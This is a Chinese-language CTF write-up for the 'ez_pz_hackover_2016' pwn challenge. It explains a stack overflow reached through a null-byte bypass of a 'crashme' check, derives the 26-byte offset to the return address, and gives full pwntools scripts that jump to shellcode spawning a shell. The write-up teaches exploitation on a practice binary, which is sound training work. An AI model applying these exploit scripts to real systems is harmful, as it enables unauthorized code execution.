首先查看一下题目的保护,发现保护基本没开,可以栈执行和栈溢出
用IDA打开程序,关键点在chall函数,首先会打印出s缓冲区的地址,然后接收一个大小不超过1023字节的输入到s缓冲区,然后将缓冲区里换行符后面的内容全部置为0,最后将缓冲区内容与"crashme"这个字符串作比较,如果相同就会进入到vuln函数
于是,我们进入到vuln函数分析一下,就是将第一个参数长度n的内容复制到dest缓冲区
那利用方式就呼之欲出了,由于输入到s缓冲区的内容长度不够,无法实现溢出,但是只要进入到vuln函数就可以把构造好的shellcode放入到栈中进行执行
不过首先我们必须要进行绕过,方式就是输入的前面的内容为"crashme\x00",strlen和strcmp都会遇到00字节会截断,然后就会成功的进入到vuln函数将完整的构造好的payload复制到dest缓冲区实现溢出并控制的目的
但是,要成功执行我们的shellcode必须要知道shellcode的位置,而chall函数在执行时就把s缓冲区的地址告诉了我们,因此,只要知道了s缓冲区和shellcode地址的相对偏移量,那么我们每次都可以得到shellcode的地址
那通过脚本调试先确定好执行到覆盖栈的偏移量
from pwn import *
context(log_level = 'debug',os='linux',arch='i386')
p = process('./ez_pz_hackover_2016')
gdb.attach(p)#先要在sendline之前打开gdb调试,若是在sendline之后无法调试
p.recvuntil('> ')
payload = 'crashme\x00' #为了过memcpy,过了memcpy才有机会执行vuln函数
payload += 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'#使用pattern生成
pause()#把程序暂停在这里,可以理解为下断点
p.sendline(payload)
从输入缓冲区到刚好覆盖掉ebp的偏移为14个字节加上前缀的’crashme\x00’8个字节共22个字节,可以发现memcpy(&dest, &src, n)之后传入到dest的数据到ebp的距离是8+14这里的8是最开始传入的crashme\x00这个8个字节,然后因为retn之前有leave指令,所以实际覆盖到ret还需要+4(32位程序),所以要memcpy到dest的数据要8+14+4=26个字节才能覆盖到retn
注:leave指令相当于mov esp,ebp;pop ebp;导致ebp空间要往高地址增加四个字节(32位)
所以payload = 'crashme\x00' + 'a'*14 + 'a'*4 + shellcode_addr + shellcode
因为我们传入的shellcode的传到s栈上的,程序开始又给了我们s栈的地址了,所以我们可以利用给出的栈地址做基地址来计算到shellcode的偏移来得出shellcode的地址,虽然地址会随机化但是偏移量不会变
from pwn import *
context(log_level = 'debug',os='linux',arch='i386')
p = process('./ez_pz_hackover_2016')
#p = remote('node3.buuoj.cn', 29530)
gdb.attach(p)
p.recvuntil('crash: ')
stack_addr = int(p.recv(10), 16)#获取题目给我们的s栈开始地址
payload = 'crashme\x00' + 'a'*18 #8+18=26
payload += p32(0) + asm(shellcraft.sh())
#p32(0)是ret的地址,但是我们还不知道具体的地址所以这里用00 00 00 00来模拟调试
p.recvuntil('> ')
p.sendline(payload)
pause()
p.interactive()
可以看到shellcode是jhh字符开头的
然后查看一下内存情况
esp和ebp可以确定一个栈空间,所以x/40s $esp就是查看从esp栈顶开始往后的40个地址的数据
也可以直接用search或者find命令寻找shellcode的地址
然后,在执行时我们又得到了s栈的地址:0xff917e0c,所以计算偏移为0xff917e0c-0xff917df0=28
最终可以构造出我们的exp
#coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p=process('./ez_pz_hackover_2016')
shellcode = asm(shellcraft.sh())
p.recvuntil('lets crash: ')
stack_addr = int(p.recv(10),16)#接收s栈地址
shellcode_addr = stack_addr-28
payload = 'crashme\x00'.ljust(26,"\x00") #加crashme\x00共26个字节,其余用\x00补
payload += p32(shellcode_addr)+shellcode
p.recvuntil('>')
p.sendline(payload)
#pause()
p.interactive()